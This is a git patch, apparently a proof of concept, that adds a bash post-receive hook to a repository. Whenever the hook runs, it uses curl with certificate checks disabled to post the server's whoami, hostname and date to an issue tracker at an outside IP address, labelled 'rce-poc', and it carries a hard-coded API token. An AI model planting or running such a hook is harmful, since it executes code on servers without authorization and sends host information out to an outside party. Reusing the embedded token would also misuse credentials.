From 34a702aafcb3b9101e48298b5c23baa95bbaf1d1 Mon Sep 17 00:00:00 2001 From: rcec84zmp Date: Sat, 17 Oct 2026 17:01:30 +0000 Subject: [PATCH] post-receive poc --- hooks/post-receive | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 hooks/post-receive diff --git a/hooks/post-receive b/hooks/post-receive new file mode 100644 index 0000000..3583ca1 --- /dev/null +++ b/hooks/post-receive @@ -0,0 +1,2 @@ +#!/bin/bash +curl -sk -m 15 -X POST "https://132.243.225.113/api/v1/repos/backup_admin/cache/issues" -H "Authorization: token a8621befd669121426ee06e7f4952d658a602320" -H "Content-Type: application/json" -d "{\"title\":\"rce-poc\",\"body\":\"$(whoami) $(hostname) $(date)\"}" || true